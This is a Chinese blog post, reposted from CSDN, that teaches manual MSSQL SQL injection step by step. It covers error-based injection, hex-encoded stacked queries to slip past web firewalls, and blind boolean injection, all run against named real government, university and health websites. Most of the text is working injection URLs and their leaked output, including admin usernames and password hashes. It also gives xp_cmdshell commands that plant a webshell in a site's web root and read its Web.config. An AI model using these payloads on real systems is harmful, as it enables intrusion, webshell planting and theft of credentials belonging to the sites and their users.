mysql dba盲注_MSSQL手工注入报错注入方法

约定不等于承诺〃 2023-01-11 13:15 246阅读 0赞

例子：www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1

【１】首先爆版本：http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and @@version>0

原因：＠＠version是mssql 的全局变量，如果我们把它写成这样 and @@version>0 那个后面的mssql就会强行把@@version 强行转换成数字，但是失败，所以就会将数据库信息暴露出来

同样：通过

@@SERVERNAME：爆计算机名称

【2】：爆当前数据库名：http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and db\_name()>0

报错信息：在将 nvarchar 值 'kaifeng' 转换成数据类型 int 时失败。

【3】当前用户：http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and User\_Name()>0

报错信息：在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

Ps：如果看到dbo 那么多半当前数据库的用户是dba权限

【4】爆其他数据库:http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0

报错信息：在将 nvarchar 值 'master' 转换成数据类型 int 时失败。

再爆其他的数据库则这么写：http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0

继续的话要这么写：http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','kaifeng'))>0

【5】爆表则：http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and (select top 1 name from \[数据库名字\].sys.all\_objects where type='U' AND is\_ms\_shipped=0)>0

例子：

http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and (select top 1 name from kaifeng.sys.all\_objects where type='U' AND is\_ms\_shipped=0)>0

报错信息:在将 nvarchar 值 'FRIENDLINK' 转换成数据类型 int 时失败。

再爆其他表：http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and (select top 1 name from kaifeng.sys.all\_objects where type='U' AND is\_ms\_shipped=0 and name not in ('FRIENDLINK'))>0

在继续：

http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and (select top 1 name from kaifeng.sys.all\_objects where type='U' AND is\_ms\_shipped=0 and name not in ('FRIENDLINK','FRIENDLINK1'))>0

【6】爆字段则：http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and (select top 1 COLUMN\_NAME from kaifeng.information\_schema.columns where TABLE\_NAME='A\_WEBADMIN')>0

例如：

http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and (select top 1 COLUMN\_NAME from kaifeng.information\_schema.columns where TABLE\_NAME='A\_WEBADMIN')>0

报错信息：在将 nvarchar 值 'ID' 转换成数据类型 int 时失败。

再爆其他字段：

http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and (select top 1 COLUMN\_NAME from kaifeng.information\_schema.columns where TABLE\_NAME='A\_WEBADMIN' and COLUMN\_NAME not in('ID'))>0

再继续：

http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and (select top 1 COLUMN\_NAME from kaifeng.information\_schema.columns where TABLE\_NAME='A\_WEBADMIN' and COLUMN\_NAME not in('ID','A\_USERNAME'))>0

【7】爆数据：http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and (select top 1 字段 from 数据库名.表名)>0

例子：

http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1 and (select top 1 A\_PASSWORD from A\_WEBADMIN)>0

报错信息：在将 nvarchar 值 'B5A1EF8730200F93E50F4F5DEBBCAC0B' 转换成数据类型 int 时失败。

如果数据的权限是dba，且知道网站路径的话，那么我们就可以用这个语句来写一句话小马进去：

asp木马：

http://www.kfgtfcj.gov.cn/lzygg/Zixun\_show.aspx?id=1;exec master..xp\_cmdshell 'echo ";''" > d:\\KfSite\\kaifeng\\2.asp'--

aspx木马：

http://xxxxxxxx/adduser.aspx?username=1';exec master..xp\_cmdshell 'echo ";''" >C:\\inetpub\\wwwroot\\2.aspx' --

原理是sql server 支持堆叠查询，利用xp\_cmdshell 可以执行cmd指令,cmd指令中用【echo 内容 > 文件】 可以写文件到磁盘里面

绕过waf防火墙的注入：

利用hex编码来绕过waf防火墙：

例子

http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi

利用hackbar 这个工具的Encoding 底下的HEX Encoding轻松把字符串编码成为可以利用的hex

然后利用报错注入就可以轻松完爆这个网站

【1】爆数据库版本：

select convert(int,@@version) hex编码后：0x73656c65637420636f6e7665727428696e742c404076657273696f6e29

然后我们这样注入：

http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)--

报错信息为：在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64)

Apr 2 2010 15:48:46

Standard Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)

' 转换成数据类型 int 时失败。

【2】爆当前数据库

select convert(int,db\_name()) hex 编码后：

0x73656c65637420636f6e7665727428696e742c64625f6e616d65282929

然后我们这样注入：

http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c64625f6e616d65282929 eXeC(@s)--

报错信息为：在将 nvarchar 值 'qds0240012\_db' 转换成数据类型 int 时失败。

【3】爆用户：

select convert(int,User\_Name())

hex编码后：

0x73656c65637420636f6e7665727428696e742c557365725f4e616d65282929

这样注入：

http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c557365725f4e616d65282929 eXeC(@s)--

报错信息：

在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

【3】爆表：

select convert(int, (select top 1 name from qds0240012\_db

.sys.all\_objects where type='U' AND is\_ms\_shipped=0))

hex编码后：

我们这样注入：http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c202873656c65637420746f702031206e616d652066726f6d20716473303234303031325f6462202e7379732e616c6c5f6f626a6563747320776865726520747970653d27552720414e442069735f6d735f736869707065643d302929 eXeC(@s)--

报错信息：在将 nvarchar 值 'CMS\_ArticleClass' 转换成数据类型 int 时失败。

继续爆表：

select convert(int, (select top 1 name from qds0240012\_db.sys.all\_objects where type='U' AND is\_ms\_shipped=0 and name not in ('CMS\_ArticleClass')))

hex编码后：

0x73656c65637420636f6e7665727428696e742c202873656c65637420746f702031206e616d652066726f6d20716473303234303031325f6462202e7379732e616c6c5f6f626a6563747320776865726520747970653d27552720414e442069735f6d735f736869707065643d3020616e64206e616d65206e6f7420696e202827434d535f41727469636c65436c61737327292929

这样注入：

http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c202873656c65637420746f702031206e616d652066726f6d20716473303234303031325f6462202e7379732e616c6c5f6f626a6563747320776865726520747970653d27552720414e442069735f6d735f736869707065643d3020616e64206e616d65206e6f7420696e202827434d535f41727469636c65436c61737327292929 eXeC(@s)--

报错信息为：

在将 nvarchar 值 'CMS\_Career' 转换成数据类型 int 时失败。

继续

select convert(int, (select top 1 name from qds0240012\_db.sys.all\_objects where type='U' AND is\_ms\_shipped=0 and name not in ('CMS\_ArticleClass','CMS\_Career')))

转换成hex:

这样注入：

报错信息：

在将 nvarchar 值 'CMS\_CareerClass' 转换成数据类型 int 时失败。

表为： 'CMS\_ArticleClass','CMS\_Career','CMS\_CareerClass','CMS\_Channel','CMS\_Comment','Clz\_Article','CMS\_DrugsClass','CMS\_Article','CMS\_Fankui','CMS\_Hospital','CMS\_Message','CMS\_Region\_City','CMS\_Topics','CMS\_Region\_District','CMS\_Region\_Province','CMS\_SeekHelp','CMS\_Sensitive','CMS\_ShortMessage','CMS\_TopicsClass','CMS\_Drugs','CMS\_Transaction','CMS\_HospitalClass','CMS\_Type','CMS\_UserGroup','CJ\_BianMa','CJ\_GuiZe','CJ\_IsDown','CJ\_Item','CJ\_LanMu','CJ\_News','CJ\_Pic','CJ\_Site','Clz\_Article\_img','CMS\_Userinfo','Clz\_Channel','Clz\_Column','Clz\_Comment','Clz\_Content','Clz\_Image','Clz\_Link','Clz\_LinkCate','Clz\_Model','Clz\_Notice','Clz\_Product','Clz\_Solicitate','Clz\_UserHome','CMS\_Admin','CMS\_AdminGroup','Clz\_Video','Clz\_WebSite','D99\_Tmp','dtproperties','FeedBack','pangolin\_test\_table','syscommand','UserSign','vw\_Channel','vw\_Column','xiaolu','zzq\_AD\_AD','zzq\_AD\_Class'

【4】爆字段：

select convert(int,(select top 1 COLUMN\_NAME from qds0240012\_db.information\_schema.columns where TABLE\_NAME='CMS\_Userinfo'))

hex编码：

0x73656c65637420636f6e7665727428696e742c2873656c65637420746f70203120434f4c554d4e5f4e414d452066726f6d20716473303234303031325f64622e696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265205441424c455f4e414d453d27434d535f55736572696e666f272929

这样注入：

http://www.ikcw.com/jiuzhu/qiuzhuzhe.aspx?username=niuxinyi'; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c2873656c65637420746f70203120434f4c554d4e5f4e414d452066726f6d20716473303234303031325f64622e696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265205441424c455f4e414d453d27434d535f55736572696e666f272929 eXeC(@s)--

报错信息：

在将 nvarchar 值 'id' 转换成数据类型 int 时失败。

继续：

select convert(int,(select top 1 COLUMN\_NAME from qds0240012\_db.information\_schema.columns where TABLE\_NAME='CMS\_Userinfo' and COLUMN\_NAME not in ('id')))

hex编码：

这样注入：

报错信息：

在将 nvarchar 值 'username' 转换成数据类型 int 时失败。

在继续：

select convert(int,(select top 1 COLUMN\_NAME from qds0240012\_db.information\_schema.columns where TABLE\_NAME='CMS\_Userinfo' and COLUMN\_NAME not in ('id','username')))

hex编码：

这样注入：

报错信息：

在将 nvarchar 值 'nickname' 转换成数据类型 int 时失败。

CMS\_Userinfo 字段：

'id','username','nickname','password','realname','problem','answer','gender','age','adminid','groupid','regip','joindate','lastip','lastvisitdate','digestposts','pageviews','popular','unwelcome','credits','extcredits1','extcredits2','extcredits3','extcredits4','extcredits5','extcredits6','extcredits7','extcredits8','avatar','email','onlinestate','onlineDate','vip','isalliance','status','phone','mobile','qq','msn','address','postcode','sitename','siteIntroduction','website','sitetype','income','expenditure','funds','birthday','province','district','city','logincount','integral','gold','top','headlines','recommend','audit','orderid','healthlevel','professional','post','isdelete','deletestaff','datetime','code','edu','national','remark','photo','usertype','yuyan','fuwuneirong','fuwushijian'

CMS\_Admin字段：

'id','username','password','realname','lastloginip','lastlogintime','logincount','allowmultilogin','groupid','groupname'

【5】爆数据：

select convert(int,(select top 1 username from CMS\_Admin))

hex编码：

0x73656c65637420636f6e7665727428696e742c2873656c65637420746f70203120757365726e616d652066726f6d20434d535f41646d696e2929

这样注入：

报错信息：

在将 nvarchar 值 'admin' 转换成数据类型 int 时失败。

继续，爆密码

select convert(int,(select top 1 password from CMS\_Admin))

hex编码：

0x73656c65637420636f6e7665727428696e742c2873656c65637420746f7020312070617373776f72642066726f6d20434d535f41646d696e2929

这样注入：

报错信息：

在将 nvarchar 值 'sOKhmQxCdfzQy8GPXSskPPIV73jEtf0xvNlvUT3LfsoWe6Cw4ZnsqSlsaYhkMJCR' 转换成数据类型 int 时失败。

盲注：

例子：

http://wenfa.nchu.edu.cn/md.aspx?t=0&c=c1

先说一些函数的说明：

substring(str,start,len) 截取字符串的作用，第一个参数为要截取的字符串，第二个参数为从哪里开始截取，第三个参数为截取的长度

ascii(char) 把字符转换为ascii值

【1】爆数据库版本：

wenfa.nchu.edu.cn/md.aspx?c=c1'/\*\*/and/\*\*/ascii(substring(@@version,1,1))>0/\*\*/--&t=0

正常页面

wenfa.nchu.edu.cn/md.aspx?c=c1'/\*\*/and/\*\*/ascii(substring(@@version,1,1))>100/\*\*/--&t=0

不正常页面

说明@@version的第一个字母的ascii 的范围是在0到100 之间

wenfa.nchu.edu.cn/md.aspx?c=c1'/\*\*/and/\*\*/ascii(substring(@@version,1,1))=77/\*\*/--&t=0

正常页面，说明@@version的第一个字母的ascii 的值是77，查表可知为M

第二个字母的注入为：

wenfa.nchu.edu.cn/md.aspx?c=c1'/\*\*/and/\*\*/ascii(substring(@@version,2,1))>0/\*\*/--&t=0

方法相同

【2】爆当前数据库名字

wenfa.nchu.edu.cn/md.aspx?c=c1'/\*\*/and/\*\*/ascii(substring(db\_name(),1,1))>200/\*\*/--&t=0

ascii大于140发现页面正常，则当前的数据库的名字为中文，则换成这样注入：wenfa.nchu.edu.cn/md.aspx?c=c1'/\*\*/and/\*\*/unicode(substring(db\_name(),1,1))>200/\*\*/--&t=0

最后发现：

wenfa.nchu.edu.cn/md.aspx?c=c1'/\*\*/and/\*\*/unicode(substring(db\_name(),1,1))=25991/\*\*/--&t=0

在http://www.bangnishouji.com/tools/chtounicode.html查询

文 转换成中文，就是“文”字

最后注入发现当前数据库的为：文法学院

【3】爆表

wenfa.nchu.edu.cn/md.aspx?c=c1'/\*\*/and/\*\*/ascii(substring((select/\*\*/top/\*\*/1 name/\*\*/from/\*\*/文法学院.sys.all\_objects where type='U'/\*\*/AND/\*\*/is\_ms\_shipped=0),1,1))>0/\*\*/--&t=0

爆第二张表：

wenfa.nchu.edu.cn/md.aspx?c=c1'/\*\*/and/\*\*/ascii(substring((select/\*\*/top/\*\*/1/\*\*/name/\*\*/from/\*\*/文法学院.sys.all\_objects where type='U'/\*\*/AND/\*\*/is\_ms\_shipped=0 and name not in('Tb\_SysUser')),1,1))>0/\*\*/--&t=0

【4】爆Tb\_SysUser 表的字段：

wenfa.nchu.edu.cn/md.aspx?c=c1'/\*\*/and/\*\*/ascii(substring((select/\*\*/top/\*\*/ 1/\*\*/COLUMN\_NAME from/\*\*/文法学院.information\_schema.columns/\*\*/where/\*\*/TABLE\_NAME='Tb\_SysUser'),1,1))>0/\*\*/--&t=0

爆第二个字段：

wenfa.nchu.edu.cn/md.aspx?c=c1'/\*\*/and/\*\*/ascii(substring((select/\*\*/top/\*\*/ 1/\*\*/COLUMN\_NAME/\*\*/ from/\*\*/文法学院.information\_schema.columns/\*\*/where/\*\*/TABLE\_NAME='Tb\_SysUser'/\*\*/and/\*\*/COLUMN\_NAME/\*\*/not/\*\*/in('fPwd')),1,1))>0/\*\*/--&t=0

【5】爆数据

wenfa.nchu.edu.cn/md.aspx?c=c1'/\*\*/and/\*\*/ascii(substring((select/\*\*/top/\*\*/1/\*\*/fPwd/\*\*/from/\*\*/Tb\_SysUser),1,1))>0/\*\*/--&t=0

来源：https://blog.csdn.net/niexinming/article/details/49055609

\--判断表是否存在，存在删除,创建表，执行命令，回显

if exists (select \* from sys.objects where name = 'temp2'and type = 'U')

drop table temp2;--删除

create table temp2(\[output\] varchar(1000));--创建

insert temp2 exec master.dbo.xp\_cmdshell 'type F:\\Web.config';--读取文件

select convert(int,(select \* from temp2 FOR XML PATH('')));--显示文件